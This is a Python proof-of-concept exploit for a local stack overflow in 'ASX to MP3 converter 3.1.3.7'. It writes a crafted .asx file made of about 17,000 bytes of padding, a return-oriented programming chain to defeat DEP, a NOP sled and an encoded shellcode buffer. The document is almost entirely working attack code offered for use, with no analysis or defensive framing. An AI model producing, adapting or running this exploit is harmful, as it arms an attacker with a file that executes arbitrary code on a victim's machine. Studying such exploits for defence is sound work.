ASX to MP3 converter 3.1.3.7 – ‘.asx’ Local Stack Overflow (DEP)
import struct
file = 'fuzz_rop.asx'
buf = b""
buf += b"\xda\xd7\xbf\xf1\xca\xd1\x3f\xd9\x74\x24\xf4\x5a\x29"
buf += b"\xc9\xb1\x31\x83\xc2\x04\x31\x7a\x14\x03\x7a\xe5\x28"
buf += b"\x24\xc3\xed\x2f\xc7\x3c\xed\x4f\x41\xd9\xdc\x4f\x35"
buf += b"\xa9\x4e\x60\x3d\xff\x62\x0b\x13\x14\xf1\x79\xbc\x1b"
buf += b"\xb2\x34\x9a\x12\x43\x64\xde\x35\xc7\x77\x33\x96\xf6"
buf += b"\xb7\x46\xd7\x3f\xa5\xab\x85\xe8\xa1\x1e\x3a\x9d\xfc"
buf += b"\xa2\xb1\xed\x11\xa3\x26\xa5\x10\x82\xf8\xbe\x4a\x04"
buf += b"\xfa\x13\xe7\x0d\xe4\x70\xc2\xc4\x9f\x42\xb8\xd6\x49"
buf += b"\x9b\x41\x74\xb4\x14\xb0\x84\xf0\x92\x2b\xf3\x08\xe1"
buf += b"\xd6\x04\xcf\x98\x0c\x80\xd4\x3a\xc6\x32\x31\xbb\x0b"
buf += b"\xa4\xb2\xb7\xe0\xa2\x9d\xdb\xf7\x67\x96\xe7\x7c\x86"
buf += b"\x79\x6e\xc6\xad\x5d\x2b\x9c\xcc\xc4\x91\x73\xf0\x17"
buf += b"\x7a\x2b\x54\x53\x96\x38\xe5\x3e\xfc\xbf\x7b\x45\xb2"
buf += b"\xc0\x83\x46\xe2\xa8\xb2\xcd\x6d\xae\x4a\x04\xca\x40"
buf += b"\x01\x05\x7a\xc9\xcc\xdf\x3f\x94\xee\x35\x03\xa1\x6c"
buf += b"\xbc\xfb\x56\x6c\xb5\xfe\x13\x2a\x25\x72\x0b\xdf\x49"
buf += b"\x21\x2c\xca\x29\xa4\xbe\x96\x83\x43\x47\x3c\xdc"
payload = "http://"
payload += "A" * 17417 + struct.pack('<L', 0x1002D038) + "CCCC"
payload += struct.pack('<L', 0x10047F4D)
payload += struct.pack('<L', 0x11111111)
payload += struct.pack('<L', 0x10029B8C)
payload += struct.pack('<L', 0x1002D493)
payload += struct.pack('<L', 0xEEEEFEEF)
payload += struct.pack('<L', 0x10047F4D)
payload += struct.pack('<L', 0x41414141)
payload += struct.pack('<L', 0x1002fade)
payload += struct.pack('<L', 0x1004f060)
payload += struct.pack('<L', 0x1003239f)
payload += struct.pack('<L', 0x10040754)
payload += struct.pack('<L', 0x41414141)
payload += struct.pack('<L', 0x41414141)
payload += struct.pack('<L', 0x1004d881)
payload += struct.pack('<L', 0x1003b34d)
payload += struct.pack('<L', 0x1003b34d)
payload += struct.pack('<L', 0x1003b34d)
payload += struct.pack('<L', 0x1003b34d)
payload += struct.pack('<L', 0x1003b34d)
payload += struct.pack('<L', 0x1003b34d)
payload += struct.pack('<L', 0x1003b34d)
payload += struct.pack('<L', 0x1003b34d)
payload += struct.pack('<L', 0x1003b34d)
payload += struct.pack('<L', 0x10034735)
payload += struct.pack('<L', 0x10031c6c)
payload += struct.pack('<L', 0x10012316)
payload += struct.pack('<L', 0x1002ca22)
payload += struct.pack('<L', 0xFFFFFFFF)
payload += struct.pack('<L', 0x10031ebe)
payload += struct.pack('<L', 0x10031ebe)
payload += struct.pack('<L', 0x1002a5b7)
payload += struct.pack('<L', 0x1002a5b7)
payload += struct.pack('<L', 0x1002a5b7)
payload += struct.pack('<L', 0x1002a5b7)
payload += struct.pack('<L', 0x1002a5b7)
payload += struct.pack('<L', 0x1002a5b7)
payload += struct.pack('<L', 0x1002e346)
payload += struct.pack('<L', 0x1002D038)
payload += struct.pack('<L', 0x1002E516)
payload += struct.pack('<L', 0xA4E2F275)
payload += struct.pack('<L', 0x1003efe2)
payload += struct.pack('<L', 0x10040ce5)
payload += "\x90" * 4
payload += struct.pack('<L', 0x1003df73)
payload += "\x90" * 20
payload += buf
f = open(file,'w')
f.write(payload)
f.close()